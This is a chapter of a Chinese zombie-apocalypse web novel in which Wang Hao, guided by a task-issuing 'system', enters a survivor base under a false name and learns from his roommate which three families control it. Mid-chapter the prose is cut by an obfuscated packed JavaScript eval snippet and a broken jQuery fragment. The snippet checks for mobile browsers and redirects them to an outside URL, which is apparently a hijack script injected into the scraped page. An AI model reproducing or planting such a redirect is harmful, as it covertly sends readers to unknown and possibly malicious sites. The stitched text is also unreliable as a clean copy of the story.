清河县城外,荒芜的田野被疯长的野草占据。夕阳的余晖给这片死寂之地涂抹上一层不祥的暗金色。
一只“丧尸”正沿着残破的乡间小路,以一种略显怪异、但又不至于引人怀疑的僵硬步伐,摇摇晃晃地走着。它的动作比普通丧尸似乎更“谨慎”一些,会下意识地避开过于泥泞的水坑和散落的白骨,浑浊的眼珠偶尔会极其隐蔽地扫视四周。
这正是已经“死”在仓库园区,依靠系统地图从密道逃生,又在荒野中跋涉了数日才抵达清河县附近的王昊。
他穿着那件系统抽奖得来的普通丧尸伪装衣,脸上涂抹着混合了污泥和动物腐血的伪装物,散发着令人作呕的气味。右臂的伤口被厚厚的绷带和破布紧紧缠裹,隐藏在宽大的伪装衣下,但每一次动作都牵扯着钻心的疼痛,魔气虽然被解毒剂清除,但伤口却没完全愈合。
【叮!新手任务四:成功育才一名主角,为期五年,已完成。任务评价:良。奖励积分:100。当前积分:-163。】
冰冷的系统提示音突兀地在王昊脑海中响起。
王昊脚步微微一顿,心中五味杂陈。终于完成了?想必宇天是升官了吧。
然而,不等他细想,一连串新的提示音接踵而至:
【新手任务五:寻找主角徐长生,并将其收为义子。】
【新手任务六:帮助徐长生寻找功法。】
【新手任务七:帮助徐长生寻找武器。】
【新手任务八:陪伴徐长生,至年满十六周岁。】
【新手任务九:放弃一切杂念。】
【新手任务十:成功培育徐长生,助其飞升上界。】
王昊:“……”
他差点一个趔趄摔进路边的臭水沟里。
很好,系统,现在是演都不演了是吧?主角名字都直接发布出来了。徐长生?这名字听着就一股子“我是天命之子”的味儿。
这任务链简直比宇天那会儿还要保姆级。从“找儿子”到“找功法武器”,再到“当奶爸”陪到十六岁,最后还要“送上天”?更离谱的是那个【放弃一切杂念】,这算什么提示?
王昊在内心疯狂吐槽:【系统,你这吃相也太难看了吧?这徐长生怕不是你亲儿子转世?还有这任务九,你给翻译翻译,什么叫‘放弃一切杂念’?】
系统:【……请宿主自行探索任务真谛。系统提示非常有限。努力鸭!(??_?)?】
王昊:“……”他感觉自己的血压在飙升。这破系统更新后,不仅脸皮厚,现在连任务发布都透着一股强买强卖的土匪气质和谜语人的欠揍感。
算了,王昊强行压下翻涌的思绪,当务之急是回家。
父亲的期限已到,他也不知道劳大哥给的二阶段药剂到底管不管用,死马当活马医吧。
天色渐暗,王昊在县城外围一处废弃的平房里,终于卸下了那身恶臭的丧尸伪装。他强忍着右臂的剧痛,用找到的还算干净的雨水仔细清洗了身体和脸上的污垢。冰冷的水刺激着伤口,让他倒吸凉气,但精神却为之一振。
他从系统空间取出备用的衣物——一条灰蒙蒙的黑色西装裤,一件皱巴巴的黑色衬衫,外面套上一件略显宽大的米白色风衣。最后,他用一条柔软的黑色丝巾仔细围住脖颈和下半张脸,只露出一双深邃锐利的眼睛,再戴上一顶卡其色的牛仔帽,将帽檐压得较低。
镜中映出一个气质冷峻、带着几分神秘和疏离感的男人,与一年前那个王昊判若两人。风尘仆仆和伤病带来的苍白,反而增添了一丝危险的沧桑感。
借着暮色的掩护,王昊悄无声息地靠近了清河县基地的南大门。这里是用沙袋、废弃车辆和铁丝网构筑的临时防线,门口排着长长的队伍,都是等待入城或从城外劳作返回的幸存者。几个持枪士兵神情麻木地维持着秩序,眼神锐利地扫视着人群。
登记处设在门旁一个简陋的棚子里,一张破桌子后面坐着一个染着醒目黄毛的年轻人,嘴里叼着根牙签,满脸不耐烦。他旁边站着两个荷枪实弹、表情严肃的士兵。
王昊默默地排在队伍末尾,观察着前方。排在他前面的是一对父子。父亲约莫三十出头,身材瘦削,背着一个破旧的包袱,脸上刻满了风霜和焦虑,眼神躲闪。他身边的小男孩只有五六岁的样子,面黄肌瘦,头发枯黄,怯生生地抓着父亲的衣角,大大的眼睛里充满了恐惧和对陌生环境的茫然。
“名字!”黄毛头也不抬,懒洋洋地问道。
“梁…梁虎,”父亲连忙躬身,挤出讨好的笑容,声音带着颤抖,他一巴掌不轻不重的拍在了小男孩的头上,“这是我家小子,梁长生。”
“梁长生?”黄毛在登记本上潦草地划拉着,随口嘟囔,“名字倒挺大。”
排在后面的王昊,听到“长生”二字,眉头微不可察地皱了一下。他下意识地多看了那小男孩两眼,孩子只是害怕地往父亲身后缩了缩,并无特别之处。
登记完基本信息,黄毛挥挥手:“后面房间,检查,登记,分配。”梁虎如蒙大赦,连忙拉着儿子小跑着进了旁边一个挂着“检疫/登记室”牌子的铁皮屋。
轮到王昊了。
黄毛抬头,看到王昊这裹得严严实实、只露出一双眼睛的打扮,顿时火冒三丈,用笔重重敲着桌子:“喂,说你呢!装什么神秘?不是早通知了入城检查必须露脸吗?耽误时间,后面那么多人等着呢,赶紧的,把围巾帽子摘了。”
王昊心中微凛,但动作不慌不忙。他缓缓拉下围住口鼻的黑色丝巾,摘下头上的鸭舌帽。一张苍白、俊朗却带着明显倦容和一道浅浅疤痕的脸露了出来。虽然一年的风霜和伤痛让他变化不小,但眉眼间的轮廓依稀可辨。
黄毛看到王昊的脸,嚣张的气焰猛地一滞,眼中闪过一丝明显的疑惑,他盯着王昊的脸看了好几秒,眉头紧锁,似乎在努力回忆什么。
王昊心中警铃大作,面上却保持平静,甚至带着一丝恰到好处的疲惫和无奈。
“啧,”黄毛终于移开目光,不耐烦地咂咂嘴,嘟囔道:“还以为是见不得光的丑八怪呢,捂那么严实干嘛?晦气!”他拿起笔,没好气地问:“姓名!”
王昊暗自松了口气,看来只是自己这身打扮惹眼,并非被认出。他迅速报上早已想好的化名:“王暮。”暮色的暮,既是掩饰,也暗合他此刻的心境。
“之前做什么的?从哪来?”黄毛继续例行公事。
“在隔壁基地,”王昊声音低沉沙哑,“处理丧尸尸体。”他选择了一个最底层、最不引人注目也最“晦气”的职业。
“抬尸工?”黄毛果然露出嫌恶的表情,仿佛王昊身上带着尸臭。他飞快地在登记本上写了几个字,然后像赶苍蝇一样挥挥手:“行了行了,去后面检查登记,进去后会有人给你分配住的地方和活儿。”他指了指梁虎父子进去的那个铁皮屋。
王昊道了声谢,重新戴上帽子,走进了铁皮屋。里面的检查很粗糙,主要是看看有没有明显的外伤和感染迹象。登记则更简单,记录下“王暮”的名字、年龄、原职业和技能。
做完这一切,一个穿着打着补丁的灰色工装,背有些佝偻的小老头走了过来,他手里拿着一串钥匙,上下打量了王昊几眼,沙哑着嗓子道:“新来的?跟我走。”
小老头带着王昊在基地外围七拐八绕。这里的建筑大多破败不堪,街道狭窄泥泞,空气中混合着垃圾、劣质燃料和绝望的味道。幸存者们大多神情麻木,眼神空洞。最终,他们停在一栋老旧的、墙皮剥落严重的五层居民楼前。小老头爬上三楼,在走廊尽头一扇锈迹斑斑的铁门前停下,敲了敲门。
“咚咚咚。”
里面没有任何回应。
小老头也不在意,从钥匙串里找出一把同样生锈的钥匙,插进锁孔,费劲地拧开,推开了门。一股混合着汗味、烟味的浑浊空气扑面而来。
“以后你就住这儿。”小老头把钥匙递给王昊,指了指屋内,“暂时就你一个舍友。他估计出工还没回来。”他顿了顿,补充道:“明天一早,去龙翔中学后门那边的‘保卫处’报道,他们会给你安排具体抬尸的活儿和领口粮。”
说完,小老头便佝偻着背,慢悠悠地转身离开了,留下一串钥匙碰撞的叮当声在空旷的走廊里回响。
王昊走进房间,反手关上门。这是一个极其简陋的单间,面积不超过十五平米。靠墙摆着两张锈迹斑斑的铁架单人床,中间只有一条狭窄的过道。角落里有一个小小的洗手间,门半开着,能看到里面发黄的瓷砖和斑驳的水渍。房间唯一的窗户对着一篇空地,此刻只有一束昏黄的夕阳余晖,透过半掩着的、布满灰尘的旧窗帘缝隙射进来,刚好落在一张床的床尾。
那张床上,被子凌乱地堆成一团,微微隆起,被子的边缘,露出一个毛茸茸的寸头。
像一个故人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854904|175871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他强行压下思绪,走到属于自己的那张空床前,将装着少量物资的背包放下。其他物资他都放系统空间了。
他默默地整理着床铺,铺上自带的薄毯,动作间,目光却始终留意着对面床上那个隆起的被团和露出的寸头。
收拾完毕,王昊走到那扇狭窄的窗前,轻轻撩开厚重的窗帘一角,向外望去。视线透过空地看向远处杂乱低矮的棚户区屋顶。但他知道,再远处就是,那被高墙严密守护的核心区域——龙翔中学附属大院。
一股强烈的思念和担忧涌上心头。父亲的身体怎么样了?母亲是否安好?他们知道自己“死了”吗?这一年是怎么熬过来的?必须尽快想办法混进去。
“喂,新来的?”一个带着浓重鼻音、懒洋洋的声音打破了房间的寂静,带着刚睡醒的沙哑。
王昊收回目光,转过身。
对面床上,被子被掀开。一个只穿军绿色大裤衩的青年坐了起来。他身材精瘦,肌肉线条分明,皮肤是长期户外劳作的古铜色。寸头根根直立,更显精神。此刻他正睡眼惺忪地揉着眼睛,叼着一根烟,另一只手在凌乱的床头摸索着。
正是那张床上露出的寸头主人。看清楚他的脸,王昊心中紧绷的弦瞬间松了下来,眼前这人面容年老许多,大概三十出头,眉眼间虽然带着一股痞气,但又透露出长期底层挣扎磨砺出的油滑。
青年摸索了半天没找到想要的东西,有些烦躁地咂咂嘴。
王昊不动声色地走上前,从风衣口袋里掏出那个白底印着玫瑰图案的打火机,“啪嗒”一声,幽蓝的火苗窜起,递到青年面前。
青年明显愣了一下,抬眼看向王昊。昏黄的光线下,王昊围巾已取下,帽子也摘下,露出苍白但棱角分明的脸,眼神平静无波。青年咧嘴一笑,露出一口还算整齐的白牙,就着王昊的火点燃了。
他深深吸了一口,劣质烟草的辛辣味在狭小的空间里弥漫开来。他上下打量着王昊那身与这破败环境格格不入的“行头”,眼中闪过一丝玩味,吐出一口烟圈,带着点自来熟和调侃的意味道:
“呵,小子还挺识趣。我叫云少杰,这片抬尸队的头,他们都叫我杰哥。”
“王暮。”王昊收起打火机,简单报上名字,顺势在对方床边的一个破板凳上坐下,“杰哥,我刚来,对县里情况两眼一抹黑,能跟您打听打听吗?”
云少杰显然是个话痨,又或者在这压抑的环境里难得遇到一个“识趣”的新人听众。他盘腿坐在床上,一边吞云吐雾,一边打开了话匣子。
“打听?算你问对人了,这清河基地里面门道多着呢。”云少杰压低了些声音,带着点神秘兮兮,“现在这里是三足鼎立,龙、李、陈三家说了算。”
“龙家?”王昊适时露出好奇。
“对,龙翔中学那个龙。”云少杰用夹着烟的手指了指核心区的方向,“他们龙家,管着基地最大的物资仓库,吃喝用度,全在他们手里攥着,手指缝里漏点渣滓,就够下面人打破头了。”
“李家呢?”
“李家?”云少杰嗤笑一声,眼中闪过一丝不易察觉的忌惮,“李家人,管着基地的巡逻队、守卫队、搜刮队,但凡手里有枪的,十有八九都姓李,或者跟李家沾亲带故,横着呢。”
“那陈家?”
“陈家啊,”云少杰吐了个烟圈,语气带着点嘲讽,“管‘政务’的呗,什么登记啊、分配啊、调解纠纷啊、还有那些狗屁倒灶的规矩,都归他们管。看着像个和事佬,实际上咬人的狗不叫,心黑。”
他猛吸了一口烟,继续说道:“这三家的子弟,干着最轻松的活,拿着最好的物资。全在龙翔中学里头,或者旁边那个跟铁桶似的附属大院里。咱们这种平头百姓,别说进去,就是在围墙外面多瞅两眼,被那些狗腿子看见了,轻则一顿鞭子,重则抓进去审问。”
云少杰凑近了些,声音压得更低:“不过嘛,那大院里也不是只住老爷。总得有人伺候不是?扫地的、做饭的、洗衣服的、看孩子的,也得从外面招人进去干活。不过进去就别想轻易出来了,但好歹比外面强。”他眼中流露出一丝复杂,不知是鄙夷还是向往。
王昊静静地听着,心中波澜起伏。父母所在的附属大院,居然成了基地的核心堡垒,被三家势力牢牢控制。想要混进去,难如登天。
他必须尽快弄清楚父母的具体情况,找到进入大院的方法,时间不等人。